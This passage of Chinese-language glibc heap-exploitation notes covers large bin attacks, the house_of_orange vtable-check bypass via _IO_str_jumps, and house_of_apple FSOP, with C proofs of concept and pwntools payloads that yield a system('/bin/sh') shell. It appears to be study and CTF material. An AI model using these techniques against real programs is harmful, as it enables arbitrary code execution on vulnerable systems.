while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return shift_amount - 1;
}
int main(){
init();
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
int* tcaches[7];
unsorted_bin = malloc ( 0x4e8 );
malloc ( 0x18 );
int shift_amount = get_shift_amount(unsorted_bin);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
return 1;
}
if(alloc_size < 0x410){
for(int i = 0; i < 7; i++){
tcaches[i] = malloc(alloc_size);
}
for(int i = 0; i < 7; i++){
free(tcaches[i]);
}
}
else{
puts("Not filling up the TCache");
}
large_bin = malloc ( 0x4d8 );
malloc ( 0x18 );
free ( large_bin );
free ( unsorted_bin );
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);
fake_chunk = target - 0x10;
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk;
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ;
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount;
ptr = calloc(alloc_size, 1);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);
return 0;
}
原理同2.23
,large bin
的应用同2.27 large bin attack
,在large bin attack
基础上利用unsorted bin
实现任意地址分配
glibc_2.24
2.24-2.28
最主要的区别就是加了vtable
的检测,所以不能改vtable
为堆地址
house_of_orange-检测机制与绕过
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
即vtable - start_libc_IO_vtables >= stop_libc_IO_vtables - start_libc_IO_vtables
时调用_IO_vtable_check
pwndbg> p __stop___libc_IO_vtables - 1
$7 = 0x7ffff7dcf627 <_IO_str_chk_jumps+167> ""
pwndbg> p __start___libc_IO_vtables
$8 = 0x7ffff7dce8c0 <_IO_helper_jumps> ""
_IO_vtable_check
函数具体内容如下
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
基本没有什么可利用的点,由此可见只有将伪造的vtable
地址放在_IO_helper_jumps-_IO_str_chk_jumps+167
之间才能利用成功,这种情况下如果能将vtable
设置成_IO_str_jumps
或者_IO_wstr_jumps
也可以调用文件操作函数来绕过vtable
的检查并且不需要堆地址,一般常用的是_IO_str_jumps
_IO_str_jumps
是一个结构体,它定义了一系列函数指针,这些函数用于处理标准流(stdin
,stdout
,stderr
)的输入输出操作。在C语言中,这些函数实现了不同的流操作,包括读取字符、写入字符、移动文件指针等。_IO_str_jumps
结构体通常用于实现C标准库中的标准流对象,例如FILE
结构体(通过FILE*_p
字段指向_IO_str_jumps
),它提供了一些常用的操作函数,如fgetc
、fputc
等。
pwndbg> p _IO_str_jumps
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a89fb0 <_IO_str_finish>,
__overflow = 0x7ffff7a89c90 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a89c30 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89f90 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a88640 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a88720 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a8a0e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a88940 <_IO_default_setbuf>,
__sync = 0x7ffff7a88c10 <_IO_default_sync>,
__doallocate = 0x7ffff7a88a30 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a89ae0 <_IO_default_read>,
__write = 0x7ffff7a89af0 <_IO_default_write>,
__seek = 0x7ffff7a89ac0 <_IO_default_seek>,
__close = 0x7ffff7a88c10 <_IO_default_sync>,
__stat = 0x7ffff7a89ad0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}
其中,_IO_str_finish
的函数源码如下
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
根据源码可知,当fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)
为真时,篡改((_IO_strfile *) fp)->_s._free_buffer
为system
,fp->_IO_buf_base
为/bin/sh
即可getshell
,同时还需要兼顾触发_IO_flush_all_lockp
的条件
因此,一种伪造的条件如下
fp->_mode
<=0
fp->_IO_write_ptr
>fp->_IO_write_base
fp->_flags
=0
fp->_IO_buf_base
=bin_sh
fp + 0xe8
=system_addr
vtable
=_IO_str_jumps - 8
其中vtable
的设置是因为这样在调用_IO_overflow
时会调用_IO_str_finish
,fp->_flags
= 0
是因为_IO_USER_BUF
是1
,而_s._free_buffer
的偏移就是0xe8
,通过_IO_str_finish
可以实现一个交互式的shell
_IO_str_overflow
源码如下
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
...
}
libc_hidden_def (_IO_str_overflow)
其中,可以覆盖*((_IO_strfile *) fp)->_s._allocate_buffer
为system
,new_size
为/bin/sh
来getshell
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
因此,第二种伪造的条件如下:
_flags
=0
_IO_write_base
=0
_IO_write_ptr
=(bin_sh -100) / 2 +1
_IO_buf_end
=(bin_sh -100) / 2
_IO_buf_base
=0
fp + 0xe0
=system_addr
总结:2.24
中会检测vtable
地址,因此只能利用原有的跳表,最常用的是_IO_str_jumps
,而利用方法有两种:
第一种:利用IO_str_overflow
函数会调用 FILE+0xe0
处的地址,直接改为ogg
或调用system("/bin/sh")
,但这种利用可能会出问题
第二种:利用_IO_str_finish
会以 IO_buf_base
处的值为参数跳转至 FILE+0xe8
处的地址,设置vtable
为IO_str_jumps-0x8
,发生异常时调用IO_str_overflow
根据地址加偏移实际调用的是_IO_str_finish
,伪造内容实现调用system("/bin/sh")
示例:
#改_IO_str_finish
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(1) + p64(0)
p2 += p64(bin_sh)
p2 = p2.ljust(0xc0, b'\x00')
p2 += p64(0)
p2 += p64(0) *2
p2 += p64(io_str_jumps - 8)
p2 = p2.ljust(0xe8, b'\x00')
p2 += p64(system_addr)
p3 = p1 + p2
#改_IO_str_overflow
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(bin_sh)
p2 += p64(0) + p64(0)
p2 += p64(int((bin_sh - 100) / 2))
p2 = p2.ljust(0xd8, b'\x00')
p2 += p64(io_str_jumps)
p2 = p2.ljust(0xe0, b'\x00')
p2 += p64(system_addr)
glibc_2.31
高阶的IO
利用,高版本中__free_hook
、__malloc_hook
、__calloc_hook
都已经被取消,此时只能利用IO
house_of_apple 1(large bin attack + fsop)
条件:能够泄露libc
和heap
地址且程序从main
或exit
函数结束
过程:通过一次large bin attack
劫持_IO_list_all
替换为伪造的IO_FILE
结构体,在程序结束的时候会遍历_IO_list_all
中的结构体,执行结构体中的vtable->overflow
指向的函数。其次可以利用_wide_data
继续修改其他地方的值,在_IO_FILE
中_wide_data
的偏移是0xa0
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; //***
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
伪造_wide_data
中的值之后可以通过_IO_wstrn_overflow
来将overflow_buf
的值赋给fp->_wide_data
,漏洞在于没有检查fp->_wide_data
的合法性,而这两个都是可控的(通常伪造的_IO_FILE
在堆上),所以能够实现任意地址写
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;//强转fp为_IO_wstrnfile类型
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);//有时候需要绕过
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
//将_IO_write_base、_IO_read_base、_IO_read_ptr、_IO_read_end、_IO_write_ptr、_IO_write_end都赋为overflow_buf
return c;
}
其中,overflow_buf
的偏移是0xf0
即vtable
后面,_IO_wsetb
有时需要绕过free
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // ***
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
demo
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor()
{
printf("\033[31m[!] Backdoor is called!\n");
system("/bin/sh\x00");
_exit(0);
}
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;
puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;
puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;
puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
说明:_IO_list_all
中第一项就是stderr
,首先需要满足fsop
的要求
_flags = 0x800
_mode = 1
接下来改stderr
的vtable
为_IO_wstrn_jumps-0x20
使得_IO_wstrn_jumps
恰好落在vtable->overflow
函数被执行
接着为了使_wide_data
和_wide_vtable
可控将它们改成两个堆的地址,并且在堆中伪造
stderr->_wide_data = p1
stderr->_wide_data->_wide_vtable = p2
stderr->_wide_data->_wide_vtable
中_IO_write_ptr
>IO_write_base
_wide_vtable->_overflow = backdoor
最后刷新_IO_list_all
就可以调用到_IO_wstrn_jumps
中的overflow
函数即backdoor